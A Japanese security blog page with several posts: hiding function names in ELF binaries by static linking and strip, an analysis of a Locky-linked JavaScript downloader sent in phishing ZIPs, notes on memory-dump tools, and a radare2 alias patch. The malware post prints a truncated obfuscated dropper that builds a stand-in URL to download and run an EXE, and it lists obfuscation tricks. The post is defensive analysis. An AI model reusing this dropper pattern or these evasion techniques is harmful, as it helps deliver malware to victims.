ELFバイナリのデバッグ時の関数名を読めなくする方法
Defconとかでは問題のELFバイナリをデバッグすると,ユーザ定義関数名だけでなく,ライブラリ関数名も読めなくなっている.どうやるとこんなバイナリを作れるのかを調べてみた.結論から言えば,静的リンクでコンパイルして,stripでデバッグシンボルを消すだけだった.
ライブラリ関数名の読めないプログラム
例えば,/bin/id
をexecve
関数で実行するだけのid.c
を考える.
/* id.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(void) { char *env[] = {NULL, NULL}; char *args[] = {"/bin/id", NULL}; execve("/bin/id", args, env); return 0; } /* E.O.F. */
ここで使われているライブラリ関数はexecve
だけ.これの関数名消去がうまく行くと,以下のようなアセンブラになる.
$ r2 -c 'aa;pdf@main' ./id [x] Analyze all flags starting with sym. and entry0 (aa) fcns: 4 xref: 54 sect: 550756 code: 1139 covr: 0 % / (fcn) main 68 | ; var int local_8h @ rbp-0x8 | ; var int local_10h @ rbp-0x10 | ; var int local_18h @ rbp-0x18 | ; var int local_20h @ rbp-0x20 | ; DATA XREF from 0x0040082d (main) | 0x0040092e 55 push rbp | 0x0040092f 4889e5 mov rbp, rsp | 0x00400932 4883ec20 sub rsp, 0x20 | 0x00400936 48c745f00000. mov qword [rbp - local_10h], 0 | 0x0040093e 48c745f80000. mov qword [rbp - local_8h], 0 | 0x00400946 48c745e04477. mov qword [rbp - local_20h], str._bin_id | 0x0040094e 48c745e80000. mov qword [rbp - local_18h], 0 | 0x00400956 488d55f0 lea rdx, [rbp - local_10h] | 0x0040095a 488d45e0 lea rax, [rbp - local_20h] | 0x0040095e 4889c6 mov rsi, rax | 0x00400961 bf44774800 mov edi, str._bin_id ; "/bin/id" @ 0x487744 | 0x00400966 e8450e0300 call fcn.004317b0 ; !!! 本来 "call sym.imp.execve"とでる !!! | 0x0040096b b800000000 mov eax, 0 | 0x00400970 c9 leave \ 0x00400971 c3 ret
0x00400966
の行を見ると,sym.imp.execve
と普通にコンパイルしたら出るはずがfcn.004317b0
になっている.
普段こんなバイナリが来ると,引数と演算結果を見てどの関数かを特定しているが(それしか知らない),ライブラリ関数を20種類以上使われていると心にヒビが入ってくる.
こいつの関数名復元方法を知るためにまずは作り方を調べた.
この方法では消えない
関数名の削除はデバッグシンボルの削除でできると考えて,まずは以下のコマンドを試してみた.
$ gcc -o id id.c $ strip --strip-all ./id # シンボル情報の全削除 $ r2 -c 'aa;pdf@main' ./id [x] Analyze all flags starting with sym. and entry0 (aa) fcns: 13 xref: 22 sect: 434 code: 470 covr: 108 % ;-- main: / (fcn) sym.main 68 | ; var int local_8h @ rbp-0x8 | ; var int local_10h @ rbp-0x10 | ; var int local_18h @ rbp-0x18 | ; var int local_20h @ rbp-0x20 | ; DATA XREF from 0x0040040d (sym.main) | 0x004004e6 55 push rbp | 0x004004e7 4889e5 mov rbp, rsp | 0x004004ea 4883ec20 sub rsp, 0x20 | 0x004004ee 48c745f00000. mov qword [rbp - local_10h], 0 | 0x004004f6 48c745f80000. mov qword [rbp - local_8h], 0 | 0x004004fe 48c745e0b405. mov qword [rbp - local_20h], str._bin_id | 0x00400506 48c745e80000. mov qword [rbp - local_18h], 0 | 0x0040050e 488d55f0 lea rdx, [rbp - local_10h] | 0x00400512 488d45e0 lea rax, [rbp - local_20h] | 0x00400516 4889c6 mov rsi, rax | 0x00400519 bfb4054000 mov edi, str._bin_id ; "/bin/id" @ 0x4005b4 | 0x0040051e e8adfeffff call sym.imp.execve ; !!! 消えてない !!! | 0x00400523 b800000000 mov eax, 0 | 0x00400528 c9 leave \ 0x00400529 c3 ret
0x0040051e
を見ると,関数名が消えてない.
そもそもstrip
で消えているものはあるかを確認すると
$ gcc -o id id.c $ file ./id id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, not stripped # stripされてない $ readelf -a ./id > nonstrip $ strip --strip-all ./id $ file ./id ./id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, stripped # stripされた $ readelf -a ./id > stripall $ diff nonstrip stripall 13c13 < Start of section headers: 4784 (bytes into file) --- > Start of section headers: 2592 (bytes into file) 19c19 < Number of section headers: 31 --- > Number of section headers: 29 81,86c81,82 < [28] .shstrtab STRTAB 0000000000000000 000011a4 < 000000000000010c 0000000000000000 0 0 1 < [29] .symtab SYMTAB 0000000000000000 00000928 < 0000000000000660 0000000000000018 30 48 8 < [30] .strtab STRTAB 0000000000000000 00000f88 < 000000000000021c 0000000000000000 0 0 1 --- > [28] .shstrtab STRTAB 0000000000000000 00000921 > 00000000000000fc 0000000000000000 0 0 1 170,240d165 < < Symbol table '.symtab' contains 68 entries: < Num: Value Size Type Bind Vis Ndx Name < 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND < 1: 0000000000400200 0 SECTION LOCAL DEFAULT 1 < 2: 000000000040021c 0 SECTION LOCAL DEFAULT 2 < 3: 000000000040023c 0 SECTION LOCAL DEFAULT 3 < 4: 0000000000400260 0 SECTION LOCAL DEFAULT 4 < 5: 0000000000400280 0 SECTION LOCAL DEFAULT 5 < 6: 00000000004002e0 0 SECTION LOCAL DEFAULT 6 < 7: 0000000000400320 0 SECTION LOCAL DEFAULT 7 < 8: 0000000000400328 0 SECTION LOCAL DEFAULT 8 < 9: 0000000000400348 0 SECTION LOCAL DEFAULT 9 < 10: 0000000000400360 0 SECTION LOCAL DEFAULT 10 < 11: 0000000000400390 0 SECTION LOCAL DEFAULT 11 < 12: 00000000004003b0 0 SECTION LOCAL DEFAULT 12 < 13: 00000000004003e0 0 SECTION LOCAL DEFAULT 13 < 14: 00000000004003f0 0 SECTION LOCAL DEFAULT 14 < 15: 00000000004005a4 0 SECTION LOCAL DEFAULT 15 < 16: 00000000004005b0 0 SECTION LOCAL DEFAULT 16 < 17: 00000000004005bc 0 SECTION LOCAL DEFAULT 17 < 18: 00000000004005f0 0 SECTION LOCAL DEFAULT 18 < 19: 00000000006006e8 0 SECTION LOCAL DEFAULT 19 < 20: 00000000006006f0 0 SECTION LOCAL DEFAULT 20 < 21: 00000000006006f8 0 SECTION LOCAL DEFAULT 21 < 22: 0000000000600700 0 SECTION LOCAL DEFAULT 22 < 23: 00000000006008d0 0 SECTION LOCAL DEFAULT 23 < 24: 00000000006008d8 0 SECTION LOCAL DEFAULT 24 < 25: 0000000000600900 0 SECTION LOCAL DEFAULT 25 < 26: 0000000000600910 0 SECTION LOCAL DEFAULT 26 < 27: 0000000000000000 0 SECTION LOCAL DEFAULT 27 < 28: 0000000000000000 0 FILE LOCAL DEFAULT ABS init.c < 29: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c < 30: 00000000006006f8 0 OBJECT LOCAL DEFAULT 21 __JCR_LIST__ < 31: 0000000000400420 0 FUNC LOCAL DEFAULT 14 deregister_tm_clones < 32: 0000000000400460 0 FUNC LOCAL DEFAULT 14 register_tm_clones < 33: 00000000004004a0 0 FUNC LOCAL DEFAULT 14 __do_global_dtors_aux < 34: 0000000000600910 1 OBJECT LOCAL DEFAULT 26 completed.6945 < 35: 00000000006006f0 0 OBJECT LOCAL DEFAULT 20 __do_global_dtors_aux_fin < 36: 00000000004004c0 0 FUNC LOCAL DEFAULT 14 frame_dummy < 37: 00000000006006e8 0 OBJECT LOCAL DEFAULT 19 __frame_dummy_init_array_ < 38: 0000000000000000 0 FILE LOCAL DEFAULT ABS test.c < 39: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c < 40: 00000000004006e0 0 OBJECT LOCAL DEFAULT 18 __FRAME_END__ < 41: 00000000006006f8 0 OBJECT LOCAL DEFAULT 21 __JCR_END__ < 42: 0000000000000000 0 FILE LOCAL DEFAULT ABS < 43: 00000000006006f0 0 NOTYPE LOCAL DEFAULT 19 __init_array_end < 44: 0000000000600700 0 OBJECT LOCAL DEFAULT 22 _DYNAMIC < 45: 00000000006006e8 0 NOTYPE LOCAL DEFAULT 19 __init_array_start < 46: 00000000004005bc 0 NOTYPE LOCAL DEFAULT 17 __GNU_EH_FRAME_HDR < 47: 00000000006008d8 0 OBJECT LOCAL DEFAULT 24 _GLOBAL_OFFSET_TABLE_ < 48: 00000000004005a0 2 FUNC GLOBAL DEFAULT 14 __libc_csu_fini < 49: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab < 50: 0000000000600900 0 NOTYPE WEAK DEFAULT 25 data_start < 51: 0000000000600910 0 NOTYPE GLOBAL DEFAULT 25 _edata < 52: 00000000004005a4 0 FUNC GLOBAL DEFAULT 15 _fini < 53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_ < 54: 0000000000000000 0 FUNC GLOBAL DEFAULT UND execve@@GLIBC_2.2.5 < 55: 0000000000600900 0 NOTYPE GLOBAL DEFAULT 25 __data_start < 56: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ < 57: 0000000000600908 0 OBJECT GLOBAL HIDDEN 25 __dso_handle < 58: 00000000004005b0 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used < 59: 0000000000400530 101 FUNC GLOBAL DEFAULT 14 __libc_csu_init < 60: 0000000000600918 0 NOTYPE GLOBAL DEFAULT 26 _end < 61: 00000000004003f0 42 FUNC GLOBAL DEFAULT 14 _start < 62: 0000000000600910 0 NOTYPE GLOBAL DEFAULT 26 __bss_start < 63: 00000000004004e6 68 FUNC GLOBAL DEFAULT 14 main < 64: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses < 65: 0000000000600910 0 OBJECT GLOBAL HIDDEN 25 __TMC_END__ < 66: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable < 67: 0000000000400390 0 FUNC GLOBAL DEFAULT 11 _init
サイズは明らかに減っているし,.symtab
シンボル情報が消されているようだ.しかし,関数名は消えない.
なんでだろうと思って,知り合いに聞いてみたらあっさり答えが返ってきた.
それによると,execve
などのライブラリ関数は./id
外の共有ライブラリに実体がある../id
が共有ライブラリの関数を使う場合,プログラム起動時に関数名などのシンボル名を使ってアドレス解決をする.だから,共有ライブラリを使う限りシンボル名が残ってしまう.つまり,静的リンクでコンパイルすればシンボル名を消してもアドレス解決できるようになるということだった.
これがわかれば話は早い.
消し方
$ gcc -static -o id id.c $ strip -strip-all ./id $ r2 -c 'aa;pdf@main' ./id [x] Analyze all flags starting with sym. and entry0 (aa) fcns: 4 xref: 54 sect: 550756 code: 1139 covr: 0 % / (fcn) main 68 | ; var int local_8h @ rbp-0x8 | ; var int local_10h @ rbp-0x10 | ; var int local_18h @ rbp-0x18 | ; var int local_20h @ rbp-0x20 | ; DATA XREF from 0x0040082d (main) | 0x0040092e 55 push rbp | 0x0040092f 4889e5 mov rbp, rsp | 0x00400932 4883ec20 sub rsp, 0x20 | 0x00400936 48c745f00000. mov qword [rbp - local_10h], 0 | 0x0040093e 48c745f80000. mov qword [rbp - local_8h], 0 | 0x00400946 48c745e04477. mov qword [rbp - local_20h], str._bin_id | 0x0040094e 48c745e80000. mov qword [rbp - local_18h], 0 | 0x00400956 488d55f0 lea rdx, [rbp - local_10h] | 0x0040095a 488d45e0 lea rax, [rbp - local_20h] | 0x0040095e 4889c6 mov rsi, rax | 0x00400961 bf44774800 mov edi, str._bin_id ; "/bin/id" @ 0x487744 | 0x00400966 e8450e0300 call fcn.004317b0 ; !!! 消えた !!! | 0x0040096b b800000000 mov eax, 0 | 0x00400970 c9 leave \ 0x00400971 c3 ret
というわけで読めなくなった.
読めないバイナリはこうやって作られるのだろう.
最後に
作成したバイナリは静的リンク時に共有ライブラリに含まれていたのであろう文字列が色々含まれて,本来のユーザ定義文字列が探しにくくなる.これはどうにかできないのだろうか.共有ライブラリを片っ端から--strip-all
すればいいのだろうか.
次は消した情報を復元する方法を調べたい.情報提供募集中.
参考
ありがとう: 知人
ダウンローダ型のマルウェアを眺めてみた
この記事では本物のマルウェアを取り扱っています.この記事の検証などで問題が起こっても一切責任は取れないので,行う際は自己責任でお願いします.また,この記事では心無い人による悪用を避けるため,マルウェアの全文は記載しません.興味のある方はハッシュなどから辿ってください.
はじまり
最近ZIP
やRAR
が添付された請求書や求人(月額$3000-6000, 30万円以上)という本当なら魅力的なメールが来る.
このようなメールは「危険なので,絶対に添付ファイルを開かないでください」と簡単に言われているが,「本当に危険なのか」,「一体何故危険なのか」を知りたくなったので,ダウンロードして解析してみた.
攻撃側のメールの送り方は,特定のメンバに一斉送信されるアドレスをどこからか特定し,そこに対してそれぞれ異なる文面,送信元アドレス,内容,添付ファイルを送りつけてくる.まだ解析の数をこなしたわけではないからかどれも同じものを見てはいないが,それぞれを数種類用意しただけで簡単に組み合わせ総数は大きくなるから,フィルタとかでの対応は厄介そうだ.
メール本文例は以下の通り.
hi ???(改変してある) I have attached a revised spreadsheet contains inventory adjustments. Please check if it's correct Regards, Michael Ballard
employees_B3CF49.zip
というZIPファイルが添付されている.
中には難読化が施された全く同じ内容のJavascriptファイルが3つ(なぜ3つも入っていたのかは不明).
$ unzip -l employees_B3CF49.zip Archive: employees_B3CF49.zip Length Date Time Name --------- ---------- ----- ---- 1051941 2016-05-16 14:49 history 648819 - cpy (2).js 1051941 2016-05-16 14:49 history 648819 - cpy.js 1051941 2016-05-16 14:49 history 648819.js --------- ------- 3155823 3 files
VirusTotalに投げると,お察しな内容だった.真っ赤.
Antivirus scan for 5e587e55c9a9c28c4ac5e7d0a6d43c8b7d988654a3f13b838d1e45226213596c at 2016-05-20 01:00:34 UTC - VirusTotal
TrendMicro, Kaspersky, Symantecの検知名はそれぞれ"JS_LOCKY.DLDUF", "Trojan-Downloader.JS.Agent.klw", "JS.Downloader".
Kasperskyがわかりやすい.拡張子.klw
はわからない.
JS_LOCKY.DLDUF - Threat Encyclopedia - Trend Micro AU
によると,出現は2016/05/12で,つい最近.
届く添付ファイルはどれもこのように最近登録されたものばかり.
環境
Linux環境は内容・脅威の確認用,Windowsは被害用仮想マシン.
$ uname -a Linux poppycompass 4.5.0-1-ARCH #1 SMP PREEMPT Tue Mar 15 09:41:03 CET 2016 x86_64 GNU/Linux
解析手順
最初にLinuxのメーラから,問題の添付ファイルをダウンロード.大抵ZIP
だから,
$ unzip -l employees_B3CF49.zip
で何が入っているかを確かめる.今までに確認したのは.js
と.wsf
のみ.
感染する気満々で苦笑いした.
一通り難読化を解除して,何をしているのかを見たら,必要なところをコメントアウトなり書き換えるなりしてからWindowsの仮想環境に投げて実行.
内容
当たり前だけど,解析をするときは部屋を明るくして,ネットワークから隔離した仮想環境内で画面から離れてみてね.あと1時間に15分程度の休憩を挟むこと.もちろん守ったことがない.
上で挙げたhistory 648819.js
の最初から数行は以下のような感じ.
var place0 = false; var DENMARK0 = ""; '/' * 1048574byte var fromPath; var VALIGN0 = "Cr"+"e"+"ateObject"; /*@cc_on /* Zg */ @if (@_win32 || @_win64)/* Zg */ // CONNECTION /* Zg */ = "W"+"S"+"c"+"ript"; place0 /* Zg */= true;/* Zg */ DENMARK0/* Zg */ = /* Zg */"MLH";/* Zg */ fromPath =/* Zg */ "R" + "esponseB"/* Zg */ + "ydo".split('').reverse().join(''); Turkey = /* Zg */(/* Zg */"noitisop").split(''/* Zg */).reverse(/* Zg */).join(''); devel0 /* Zg *//* Zg */ =/* Zg */ "eliFoTevaS".split(''/* Zg */).reverse().join(''); Currency0 = "A"+"DODB"; DENMARK1 = "s" + "end"; Backspace = "ht"+"tp:"+"//e" + "xample" + "/" + "mal" + "ware.e" + "xe"; Backspace0 = "G\x45"+"T"; /* Zg */ @end/* Zg */ @*//* Zg */ if (!(place0)) { WScript.Echo("pizzxzzda"); WScript.Quit(1); } ...(snip)...
URL部分は変えてある.
WScriptを利用してマルウェア本体をダウンロードし,起動させる.
解析したやつはどれもC:\Users\<user_name>\AppData\Local\Temp
以下に起動させたいEXEファイル本体をダウンロード(ファイルパスは動的に実行ユーザに合わせたパスが生成),実行するタイプだった.
AppData
はデフォルトでは隠しフォルダとなっているため,普通には見えない.隠しフォルダが見えるようにするには,ファイルエクスプローラーを起動して,
整理 -> フォルダーと検索のオプション -> 開いたウィンドウの「表示」タブ -> 「隠しフォルダー,及び隠しドライブを表示する」 -> OK
で見えるようになる.
人が読める程度ではあるが,いくつか難読化が施されている.以下では見かけたテクニックを並べていく.
難読化テクニック
コメント
とりあえずどこにでも/* Zg */や
/ EE Hz /`といったコメントを挟む.地味に読みにくい.
置換して消した.
関係のない命名規則
プログラムの内容と全く関係のない関数・変数名にする.命名規則はDENMARK
などの地名やchristopher
の人名,bbbbbbbbbbbbbbbbb
の意味なしと多岐にわたる.
地名や人名は勉強になる.変数は文字列を格納して,その後いじらないことものが多かったから,そういうやつだけ格納した文字列に置換すると良い.
バイトの挿入
文字列GET
を"G\x45T"と16進を挟む.
他のやつから想像するか,console.logすると良い.
分割
バイトの挿入と組み合わせて使われることが多い.send
を"s"+"en"+"d"
とする.素直に書いて欲しい.
逆順
"sgnirtStnemnorivnEdnapxE".split('').reverse().join('')
と読み手には逆に見えるように書く.
大量の無意味な文字
上の例であげたコードでは/
が1048574byte書かれている.
Windowsのメモ帳とかで開いたなら苦労したと思う.Vimで開けばCtrl+F
とかで飛ばせる.
配列によるカムフラージュ
("@sdf3asdf ", "adfs3.", " R")+ "u" + ("x", "n")
と一見複雑は配列になっているが,意味があるのは,各()の一番最後の要素だけ.上の例だと,"Run"
になる.割と悪質.
素直じゃない計算
aaa=2
と書けば済むところをaaa=(4714-4712) * 1
とする.これをif (aaa==2)
と利用する.
wsfファイル
Windowsスクリプトファイル(wsf)形式になっているものもあるが,内容は<job><script language="JScript">...[".js"と同じ内容]...</script/></job>
とJS版と変わらない.
コード全体の難読化
上のテクニックをひと通り使ったコードを改行なし,見かけ逆順になるようにして,eval(<value>);
する.
解析にひと手間必要になる.
マルウェアの難読化
ダウンロードされるマルウェアをバイトデータを逆順にし,0xffなどでXORしたものもあった.
結論と対処法
怪しいメールに添付されているファイルは解凍まではして良いが,実行・開いては駄目だというのが今回の結論.
JavaScriptコード内で使われているWScriptはWindowsのデフォルトで有効になっているから,マルウェアをダブルクリックしてしまえば,相手の環境がWindos7,8,恐らく10であろうとマルウェア本体を落としてきて実行という目的を果たせる.
そもそもWScriptが実行できなければとりあえずこのタイプに関しては良いので,無効にすればとりあえず防止できる.
だからといって気軽に実行して良い理由にはならないので,ちゃんと仮想環境で実行すること.
WScriptの無効化は
1. コントロールパネルを開く 2. アプリケーションの追加と削除 3. 「Windowsファイル」タブ 4. 「アクセサリ」の「Windows Scripting Host」のチェックを外す.
もう少し過激な方法としては実行する本体プログラムのWSCRIPT.EXE, CSCRIPT.EXE
を削除する.
終わりに
現実で攻撃してくる奴らがどんな方法をとっているかの勉強になった.
読み方がわからないほどえげつない難読化に出会わなかったのは少し残念.
今回は予備調査の段階でWindows向けのJavascriptとわかったから解析できた.
もし,$ unzip -l
の段階でやばいと感じたり,手に負えないと思ったらすぐに解析を諦めることが個人的な解析の重要なところだと思う.
感染する力は強いが,そもそも.js
って書いてあるのにわざわざ開くやついるのか・・・?
参考
Symantec Security Response - Windows Scripting Host(WSH)を無効にする方法
スクリプトファイルの無効化方法 js&wsf拡張子のウイルス対策3つで感染攻撃回避 ( Windows ) - 無題な濃いログ - Yahoo!ブログ
メモリダンプについてのまとめ
このエントリで紹介したコマンドの一部は高確率でOSがクラッシュします.行う際は自己責任でお願いします.
マルウェア解析に使われるメモリダンプはどのように作成されるのかを調べたメモを書き残す.
結論として,Windowsはやり方が多い(設定をいじってからOSをクラッシュさせる,キーボードやスイッチから割り込みをかける,ツールを使う).Linuxはgrub(RHELのみ)の設定をいじる,ツールを使うことで取得できる.macについてはほとんど調べていないが,一部ツールは対応していた.いずれの方法でもOSがクラッシュした時と同等の影響がある.
注意点としてはメモリダンプツールとして公開されているプログラムの一部に現在は使えなさそうなものもあった.調べるだけでやる気が尽きたので,具体的な使い方までは網羅できていない.
疑問
近年のマルウェアは物理メモリにのみ存在し,電源が切れると一緒に本体も消えてしまうタイプがいる.高度なものになると,これに加えて自身をunlink
し,プロセス一覧から隠れる場合もあると聞いたことがある(専門ではないから,詳しくはわからない).
この場合,解析には感染したPCをネットワークから隔離した後すぐに電源を切らずに物理メモリの全内容をダンプする必要がある.
これについて,以下の点を疑問に思い,調べてみることにした.
- 一体どうやってダンプを取得するのか.
- OSがクラッシュした時にダンプ(Linuxではコアファイル)が作成されるが,普段仕事しているOSが動かないのに,誰がダンプを作成しているのか.
メモリダンプについて
種類
- 最小メモリダンプ
最重要な情報のみ保存(Stopメッセージ・パラメータ,停止したスレッドのカーネルモード呼び出しの履歴など).障害発生時に実行されていたスレッドが直接の原因でないエラーは発見できないことがある. - カーネルメモリダンプ
カーネルメモリのみの記録.ユーザプロセスの情報は記録しないため,カーネルで障害が起こっていない時は原因を究明できない. - 完全メモリダンプ
システムメモリの全内容を記録.メモリダンプを取るなら,これが推奨されている.当然ながら,メモリサイズ以上の大きさ(メモリサイズ+各種情報)になるため,ストレージの空きに注意.
今回は完全メモリダンプの取得に着目する.
フォーマット
メモリダンプのフォーマットは以下の通り.恐らく他にもあるが,ここでは解析ツールvolatility
でサポートしているものを挙げる.
- Raw linear sample (dd)
- Hibernation file (from Windows 7 and earlier)
- Crash dump file
- VirtualBox ELF64 core dump
- VMware saved state and snapshot files
- EWF format (E01)
- LiME (Linux Memory Extractor) format
- Mach-O file format
- QEMU virtual machine dumps
- Firewire
- HPAK (FDPro)
Windows
詳しいサイトが多数あるため,ここでは簡単に書く.詳しいことは参考サイトを確認すること.
どの方法でもブルースクリーンが発生するため,実験するときは重要なデータのセーブは必要.
Windows(7を想定)
- 基本的な方法
・OSクラッシュ時に作成されるようにする
・手動による作成
> NMIによる作成(キーボードなどが全く使えない時の最終手段)
> キーボードによる作成
詳しくは参考サイトを読むといいが,基本的な方法を簡単に書き残しておく.
1. スタートをクリック
2. 「コンピュータ」で右クリックし, 「プロパティ」を選択
3. 「システムのプロパティ」ウィンドウの詳細設定タブの一番下の「起動と回復」項目の「設定」をクリック
4. 「起動と回復」ウィンドウの「デバッグ情報の書き込み」でドロップダウンメニューから「完全メモリダンプ」を選択し,OKをクリック
5. 再起動
保存先は「デバッグ情報の書き込み」にある「ダンプファイル」で指定することができる.デフォルトは%SystemRoot%MEMORY.DMP
に保存される.
詳しくは
技術/Windows/メモリダンプ取得方法メモ - Glamenv-Septzen.net
https://blogs.technet.microsoft.com/askcorejp/2014/08/10/339/
を参照.
前者はXPなどにも使える方法が書いてあり,後者のMicrosoftサポートは2014年の記事であるから,Windows8.1(2013)まで有効だと思う.どちらも多くのやり方が書いてある.
最初にも述べたが,どちらにせよブルースクリーンになることは確定なので,データの保存は重要.
Linux
実装で/dev/mem
, /dev/kmem
から読みだしているプログラムはカーネルの2.6系まででしか動作が保証されていない.これ以降は/dev/(k)mem
でアクセスできるアドレスが制限されている.
2.6系という区切りで動作が保証されているのは,2003年に2.6から3.0へカーネルのメジャーバージョンアップがあったからのようだ.
「Security/Features - Ubuntu Wiki」には,Ubuntuの特色が書いてある.ここに/dev/mem protection
という項目がある.
現在のUbuntuでは/dev/(k)mem
からの完全メモリダンプ取得は望め無さそうだ.
この機構が適用されたのはBlackhat2009の発表(https://www.blackhat.com/presentations/bh-europe-09/Lineberry/BlackHat-Europe-2009-Lineberry-code-injection-via-dev-mem.pdf)にあるように,物理メモリにアクセスできるなら書き換えもできるよなってことのようだ.
/dev/(k)mem
を使っているツール群(ご利用は計画的に・・・)
実験した環境は4.5系だが,使うたびにOSがクラッシュした.こいつらの名前をきっと忘れない.
$ uname -r 4.5.0-1-ARCH
memdump
source: memdump 1.01-6, memdump_8c-source.html
$ sudo pacman -S memdump
でインストールできるやつ.
$ sudo memdump-kernel > test.dmp
でメモリダンプを作成できる.
ある程度ダンプできたところでクラッシュする.OSの実行しているコード部のコピーで競合かなんかが起きているのかな・・・
draugr
Google Code Archive - Long-term storage for Google Code Project Hosting.
pythonで実装されている.以上.
使えそうなやつ
/proc/kcore
から情報を取得するか,カーネルの機能を使うタイプが主流になっているようだ./proc/kcore
にはメモリ情報がELF形式で保存されている.64bitOSの場合,これのサイズが
$ ls -hl /proc/kcore -r-------- 1 root root 128T Apr 22 23:11 /proc/kcore
と非常に大きい.これは64bitで取り扱える最大サイズを指しているらしい.ここからどうやって取得するのかがまだもやっとしている.情報募集中.
以下のツール群は調べるだけでやる気が尽きて,実際に試していないから,各ドキュメントをよく読んで欲しい.
LiME(Linux Memory Extractor)
https://github.com/504ensicsLabs/LiME
volatility
で推奨されているメモリダンプ作成ツール.
Linuxのカーネルモジュールとして実装されている.
ネットワーク越しにダンプを作成することも可能なようだ.同じホスト上でダンプを作成するときはlocalhost
とするだけ.
Pmem
Rekall Memory Forensic Framework
ダンプ解析ツールrekall
が提供するメモリダンプツール.Linux, Windows, Macすべてで使えるできる凄腕.
モジュールとしてロードすることで使えるようだ.
Grub(RedHat系のみ)
grub.conf
に
crashkernel=auto
を書くと良いらしい.
kcore
, crach
, yum install kexec-tools
で検索.
その他
memfetch
[lcamtuf.coredump.cx]
/proc/<pid>/maps
から情報を取得している.メモリ全体というよりはプロセスごとのメモリを取得できる.
GDBなら,
$ gdb (gdb) attach <pid> (gdb) gcore <output>.dmp (gdb) detach (gdb) quit
で同じようなことができそう.gdbコマンドで得られるのはコアファイルでELF形式.
仮想マシン
Qemu, Xen,VMware,Virtualboxなど,仮想マシン上なら完全なメモリダンプを取得することができるから楽ってどっかに書いてあった.
メモリダンプ解析ツール
現在簡単に使えそうなツールは以下の通り.
volatility
The Volatility Foundation - Open Source Memory Forensics
Blackhat2007で発表されたツール.ダンプ解析で万能そう.
公式サイトには最もよく使われているツールと書いてある.本当かどうかは知らない.これを入れておけば困ることはなさそうだ.
メモリダンプ取得機能提供していないから,LiME
を使ってくれと公式のドキュメントに書いてある.しかし,ソースの中にgetkcore.c
とかいうプログラムがあったりする.これは/dev/kcore
から読み出す単純なプログラムなので,動きそう.提供しているじゃないかというツッコミは置いておく.
rakall
Rekall Memory Forensic Framework
前述のvolatility
から独立したプロジェクト.
これはメモリダンプ取得機能を提供している.Pmemはこいつが提供する機能の一つ.
特徴はメモリダンプに関することを全て行えること.
プラグインで機能拡張が容易に行える柔軟仕様だが,それ故プラグインが多すぎるのが悩みらしい.
当然ながら,ソースコードはvolatility
とかぶっている箇所が多い.
終わりに
様々なプログラムが乱立していて,混沌としていることがわかった.
ダンプを作成しているのは,カーネルっぽい.
メモリダンプ関係のプログラムを組むときにはカーネルについて調査すればもうちょい何か出てきそう.やる気が出たら実際にダンプを作成して,解析までやってみたい.Pmem
でダンプ取得して,volatility
で解析なんてひねくれるのも一興か.
/proc/kcore
の使い方や,実装のもっと深いところでの取得方法についてはまだ調べ尽くせていない.この疑問を解消する日が来るようやる気が出るまで忘れないようにしたい.
rekall
のtools/linux/lmap/log
やtools/osx/MacPmem/Common/logging.cpp
にはエラーレベルによるログの出力が実装されている.聞いたことはあったが,実際に見たのは初めてで感動した.今後の実装で使ってみたい.
参考サイト
/dev/kcoreが大きすぎる理由: /proc/kcore is 131072.0 GB / Newbie Corner / Arch Linux Forums
Linuxメモリダンプ作成: Linuxでのメモリダンプの取得 - higefoxの公開メモ
メモリダンプの種類,取得・圧縮: 完全メモリダンプを設定する方法
MSによるメモリダンプの作成手引:メモリ ダンプ ファイルを生成する方法について | Ask CORE
ダンプ取得ツール一覧: Top 8 Tools For Linux / Unix Memory Forensics Analysis
radare2のエイリアス機能をソースコードレベルでいじって使いやすくしてみる
この記事はプログラムのソースコードを書き換えるものです.行う際は自己責任でお願いします.
radare2
でエイリアスやマクロを使っていたが,どうにもコマンドを打ちにくいのでソースコードをいじって試行錯誤してみた.マクロ機能をいじるのは大規模な改変になりそうだったため,今回はエイリアスのみをいじることにした.結果エイリアスの識別文字を$
からn
にすると,比較的使いやすくなったのでそのやり方をまとめておく.
ついでに,改変後のエイリアス機能を利用した動的解析用エイリアスも紹介する.作成したエイリアスはPeda
を使ったGDB
を意識した.
エイリアス機能
radare2
のエイリアス機能は以下のように定義・使用することができる.
* 定義 $dis=`af;pdf` * 使用 $dis
詳しくは$?
で見ることができる.
問題点
まず基礎知識として,radare2
は最初に機能を大別する文字(今回ならば$
)の後に個別のコマンドが続くようになっている.
エイリアス機能は多用するのにタイプしにくい.これは識別文字に$
を使っていることが原因であると考えた.
$
を入力するShift+4
って何回も打つのは苦痛だ,できればアルファベットのどれか,かつShift
を押さないで済ましたい.
ソースコードを読んでみると,$
を定義している部分のコメントにはprefix aliases with a dash
とあった.英語は苦手だが,とりあえず「dash
を参考にしてエイリアスのプレフィックスを$
にしました」と理解した(間違っていたらぜひ指摘してください).
恐らく,dash
を起動した時に左に出てくる$
のことだと思う.dash
に固執する特別な意味は感じなかったので変えても問題はないだろうと判断した.
そこで,エイリアス機能の識別子である$
を現在コマンドがマッピングされていないn
に変更することにした.
準備
Githubからソースコードをダウンロードする.この記事には関係はないが,Ubuntuのapt
などでインストールされるradare2
はバージョンが古いので,Githubからのインストールをおすすめしたい.
$ git clone https://github.com/radare/radare2 && cd radare2
編集
次に,libr/core/cmd.c
を以下のように編集する.やってることは,$
をn
に置き換えているだけ.現在マッピングされているコマンドとかぶらなければ良いので,n
でなくとも問題はない.他に現在コマンドがマッピングされていない文字はh j v
がある(大文字であればもっと存在するが,Shift
を押したくないので今回は考えない).行番号はバージョンによって異なるので,適宜修正すること.
